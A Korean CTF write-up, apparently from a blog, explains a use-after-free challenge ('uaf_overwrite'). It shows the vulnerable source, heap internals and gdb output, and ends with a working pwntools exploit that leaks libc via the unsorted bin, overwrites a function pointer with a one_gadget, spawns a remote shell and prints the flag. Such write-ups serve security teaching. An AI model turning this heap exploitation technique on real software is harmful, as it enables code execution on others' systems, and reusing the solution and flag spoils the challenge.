Description

    Exploit Tech: Use After Free에서 실습하는 문제입니다.


    checksec

    seo@seo:~/uaf_overwrite$ checksec --file ./uaf_overwrite
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   ./uaf_overwrite

    uaf_overwrite.c

    main

    int main() {
      int idx;
      char *ptr;
    
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
    
      while (1) {
        menu();
        scanf("%d", &idx);
        switch (idx) {
          case 1:
            human_func();
            break;
          case 2:
            robot_func();
            break;
          case 3:
            custom_func();
            break;
        }
      }
    }

    각 번호에 따라 3가지 메뉴가 존재한다.

    1번 – human_func()
    2번 – robot_func()
    3번 – custom_func()


    human_func

    struct Human {
      char name[16];
      int weight;
      long age;
    };
    
    struct Human *human;
    
    void human_func() {
      int sel;
      human = (struct Human *)malloc(sizeof(struct Human));
    
      strcpy(human->name, "Human");
      printf("Human Weight: ");
      scanf("%d", &human->weight);
    
      printf("Human Age: ");
      scanf("%ld", &human->age);
    
      free(human);
    }

    Human 구조체 크기만큼 메모리를 할당하고, 각 필드로부터 정보를 입력받는다.

    name 필드는 “Human”이고, weight 필드는 사용자로부터 %d로 scanf를 통해 입력받는다.
    그리고, age 필드는 %ld로 scanf를 통해 입력받는다.

    마지막으로 할당되었던 Human 구조체 메모리를 해제한다.


    robot_func

    struct Robot {
      char name[16];
      int weight;
      void (*fptr)();
    };
    
    struct Robot *robot;
    
    void print_name() { printf("Name: %s\n", robot->name); }
    
    void robot_func() {
      int sel;
      robot = (struct Robot *)malloc(sizeof(struct Robot));
    
      strcpy(robot->name, "Robot");
      printf("Robot Weight: ");
      scanf("%d", &robot->weight);
    
      if (robot->fptr)
        robot->fptr();
      else
        robot->fptr = print_name;
    
      robot->fptr(robot);
    
      free(robot);
    }

    이번에는 Robot 구조체 크기만큼 메모리를 할당하고, 각 필드로부터 정보를 입력받는다.

    마찬가지로, name 필드는 “Robot”이고, weight 필드는 사용자로부터 %d로 scanf를 통해 입력받는다.

    그리고, fptr 포인터 주소가 존재하면, 그 주소의 명령이 실행되지만,
    존재하지 않으면, print_name 함수 주소가 fptr에 들어가게된다.

    마지막으로 역시, 할당되었던 Robot 구조체 메모리를 해제한다.


    custom_func

    char *custom[10];
    int c_idx;
    
    int custom_func() {
      unsigned int size;
      unsigned int idx;
      if (c_idx > 9) {
        printf("Custom FULL!!\n");
        return 0;
      }
    
      printf("Size: ");
      scanf("%d", &size);
    
      if (size >= 0x100) {
        custom[c_idx] = malloc(size);
        printf("Data: ");
        read(0, custom[c_idx], size - 1);
    
        printf("Data: %s\n", custom[c_idx]);
    
        printf("Free idx: ");
        scanf("%d", &idx);
    
        if (idx < 10 && custom[idx]) {
          free(custom[idx]);
          custom[idx] = NULL;
        }
      }
    
      c_idx++;
    }

    마지막 3번 메뉴에서 0x100 이상의 메모리를 할당할 수 있다.

    할당된 메모리 주소에 read함수로 사용자가 데이터를 입력할 수 있고,
    할당시킬때마다 custom[c_idx]에 0, 1, 2, 3, 4… 1씩 증가시켜 c_idx 인덱스를 순차적으로 늘려 할당된 주소가 저장된다.

    메모리해제할 idx 인덱스값을 입력받는데,
    이 경우 10 이상 또는 음수로 입력하면 free를 통해 메모리 할당을 해제하지 않고 넘어갈 수 있다.


    Solution

    Stage 1. 원하는 주소로 이동해보기

    Human과 Robot의 구조체 크기는 서로 똑같다.

    실제로 IDA에서 확인해보면 0x20크기만큼 할당되는 것을 확인할 수 있다.

    void human_func()
    {
      human = malloc(0x20uLL);
      ...
    }
    
    void robot_func()
    {
      robot = malloc(0x20uLL);
      ...
    }

    malloc, free 함수는 할당 또는 해제할 메모리의 데이터를 초기화해주지 않는다.

    똑같은 크기이기 때문에,
    이전에 할당했던 데이터인 age를 이용해서 *fptr로 덮어서 그 주소의 명령을 실행시킬 수 있는,
    UAF 취약점을 발생시킬 수 있다.
    왜냐하면 같은 크기로 메모리를 할당하기 때문에, 이전에 할당했던 같은 주소로 할당받기 때문이다.

    실제로 디버깅해서 확인해보면,
    free 후에도 name 필드를 제외한 모든 데이터가 계속 남아있는 것을 확인할 수 있다.

    위 검은 배경의 화면과 같이 입력해주고,
    2번을 통해 Robot 메뉴를 호출하고, weight을 입력한 뒤에는 충돌이 발생하는 것을 확인할 수 있다.

    (gdb) r
    Starting program: /home/seo/uaf_overwrite/uaf_overwrite
    1. Human
    2. Robot
    3. Custom
    > 1
    Human Weight: 12345678
    Human Age: 4702394921427289928
    1. Human
    2. Robot
    3. Custom
    > 2
    Robot Weight: 12345678
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000555555554a6a in robot_func ()
    (gdb) info reg rdx
    rdx            0x4142434445464748       4702394921427289928
    (gdb) disas
    Dump of assembler code for function robot_func:
    ...
    0x0000555555554a5a <+104>:   mov    rax,QWORD PTR [rip+0x2015ef]        # 0x555555756050 <robot>
       0x0000555555554a61 <+111>:   mov    rdx,QWORD PTR [rax+0x18]
       0x0000555555554a65 <+115>:   mov    eax,0x0
    => 0x0000555555554a6a <+120>:   call   rdx
       0x0000555555554a6c <+122>:   jmp    0x555555554a80 <robot_func+142>
       0x0000555555554a6e <+124>:   mov    rax,QWORD PTR [rip+0x2015db]        # 0x555555756050 <robot>
       0x0000555555554a75 <+131>:   lea    rdx,[rip+0xfffffffffffffe7e]        # 0x5555555548fa <print_name>
    ...
    

    이렇게 1번 Human 메뉴에서 age 값 입력을 해서
    원하는 주소로 이동할 수 있는 것을 확인할 수 있었다.

    Stage 2. libc base 주소 구하기

    1. 1032 byte를 초과하는 크기 (1033 byte 이상)으로 할당시켜야 된다.

    32 bit 에서는 516 byte 이하의 사이즈,
    64비트에서는 1032 byte이하의 사이즈가 할당되었을때 tcache를 사용한다.

    tcache?
    작은 단위의 메모리 할당이 필요할 경우,
    arena를 참조하지 않고 바로 메모리를 할당할 수 있도록
    각 스레드 당 thread cache라는 영역을 제공함으로써 메모리 할당 속도를 높일 수 있는 기술이다.

    Bin?
    Free된 chunk들을 size를 기준으로 관리하는 자료구조로써,
    Free chunk는 크기와 히스토리에 따라 다양한 목록에 저장되며 이러한 목록들을 bins라고 한다.

    Chunk?
    동적으로 메모리를 할당할 때 사용되는 일정한 크기의 메모리 블록이라고 한다.

    main_arena?
    tcache에서 관리되지 않는 size로 동적 할당 후,
    해제되면 그 크기에 맞는 bin에서 관리하며, bin들을 다시 한번 관리하는 것이 main_arena이다.

    Unsorted bin?
    small bin과 large bin 크기의 heap chunk가 해제되면 이후 재할당을 위해 사용되는 bin이다.
    Small bin?
    512 바이트 미만의 사이즈로 청크가 해제 되었을 때 unsorted bin에 리스트가 추가된 후 저장되는 bin이다.
    Large bin?
    512 바이트 이상의 큰 크기의 청크가 해제 되었을 때 사용되는 bin이다.

    FD?
    Forward Pointer: free된 다음 chunk를 가리킨다.
    BK?
    Backward Pointer: free된 이전 chunk를 가리킨다.

    따라서 1032바이트보다 큰 청크를 해제해서 unsorted bin에 연결해야한다.

    heap영역에서 해제된 청크가 Unsorted bin에 처음 등록될때 FD와 BK가 가리키고 있는 영역인 main_arena을 통해서,
    Use After Free와 같은 취약점을 이용해서 일부러 해제시킨 청크를 그대로 다시 할당하면,
    FD와 BK가 적힌채로 돌아오는데, 이때 FD와 BK가 main_arena+xx 위치를 가리키고있다.

    이를 통해서 main_arena의 offset을 leak해서 libc_base 주소를 구할 수 있다.

    그러나 해제할 chunk가 top chunk와 맞닿으면 unsorted bin에 포함되는 chunk와 top chunk는 병합되기 때문에 맞닿지 않아야 된다.
    따라서 chunk 2개를 연속으로 할당하고 처음 할당한 chunk를 해제하면 된다.

    아래는 각각
    def custom(size, data, idx): 함수를 통해 3번 메뉴를 2번 호출하였으며,

    custom(0x500, “AAAA”, 100)
    custom(0x500, “AAAA”, 100)

    free를 한번도 하지 않아서,
    아래와 같이 메모리가 구성된다.

    custom(0x500, “AAAA”, 0)

    처음에 할당했던 주소를 이번에는 free해보았다.
    그리고 custom[2]에 마찬가지로 0x500으로 메모리를 할당하고 “AAAA”로 채웠다.

    그러면 아래 사진과 같이 custom[0] 주소를 살펴보면 free 후,
    unsorted bin의 fd와 bk가 쓰이게 된다.

    custom(0x500, “B”, 100)

    custom[4]에 할당된 0x500만큼의 주소가 쓰이는데, 이때 방금전에 free했던 주소로 지정이되고,
    “B” 문자가 쓰여진것을 확인할 수 있다.

    하위 1바이트를 제외한(0x42로 덮힌) main_arena 주소가 leak가 되기 때문에,
    쉽게 libc_base를 구할 수 있다.

    main_arena는 아래 링크의 프로젝트를 이용해 쉽게 구할 수 있다.
    https://github.com/bash-c/main_arena_offset

    seo@seo:~/uaf_overwrite/main_arena_offset$ ./main_arena ../libc-2.27.so
    [+]libc version : glibc 2.27
    [+]build ID : BuildID[sha1]=ce450eb01a5e5acc7ce7b8c2633b02cc1093339e
    [+]main_arena_offset : 0x3ebc40

    따라서 leak된 주소에다가 0x3ebc42를 빼면 libc base 주소를 구할 수 있다.

    마지막으로, fptr 주소를 실행시킬 one_gadget주소를 구한다.
    필자는 0x10a41c 주소를 사용하였다.

    seo@seo:~/uaf_overwrite$ one_gadget ./libc-2.27.so
    0x4f3ce execve("/bin/sh", rsp+0x40, environ)
    constraints:
      address rsp+0x50 is writable
      rsp & 0xf == 0
      rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
    
    0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      address rsp+0x50 is writable
      rsp & 0xf == 0
      rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
    
    0x4f432 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
    
    0x10a41c execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    warnings.filterwarnings('ignore')
    
    p = remote("host3.dreamhack.games", 19396)
    #p = process("./uaf_overwrite")
    #l = ELF('./libc-2.27.so')
    #l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    arena_offset = 0x3ebc40
    
    def human(weight, age):
        p.sendlineafter(">", "1")
        p.sendlineafter(": ", str(weight))
        p.sendlineafter(": ", str(age))
    def robot(weight):
        p.sendlineafter(">", "2")
        p.sendlineafter(": ", str(weight))
    def custom(size, data, idx):
        p.sendlineafter(">", "3")
        p.sendlineafter(": ", str(size))
        p.sendafter(": ", data)
        p.sendlineafter(": ", str(idx))
    
    # UAF to calculate the `libc_base`
    #pause()
    custom(0x500, "AAAA", 100)
    custom(0x500, "AAAA", 100)
    custom(0x500, "AAAA", 0)
    custom(0x500, "B", 100)
    
    print(f"main_arena_offset : {hex(arena_offset)}")
    
    libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) 
    libc_base -= 0x3ebc42
    oneshot_gadget = libc_base + 0x10a41c
    print(f"libc_base : {hex(libc_base)}")
    print(f"oneshot_gadget : {hex(oneshot_gadget)}")
    
    # UAF to manipulate `robot->fptr` & get shell
    human("1", oneshot_gadget)
    robot("1")
    p.interactive()

    Result

    seo@seo:~/uaf_overwrite$ python3 answer.py
    [+] Opening connection to host3.dreamhack.games on port 19396: Done
    main_arena_offset : 0x3ebc40
    libc_base : 0x7fca894d4000
    oneshot_gadget : 0x7fca895de41c
    [*] Switching to interactive mode
    $ ls
    flag
    uaf_overwrite
    $ cat flag
    DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다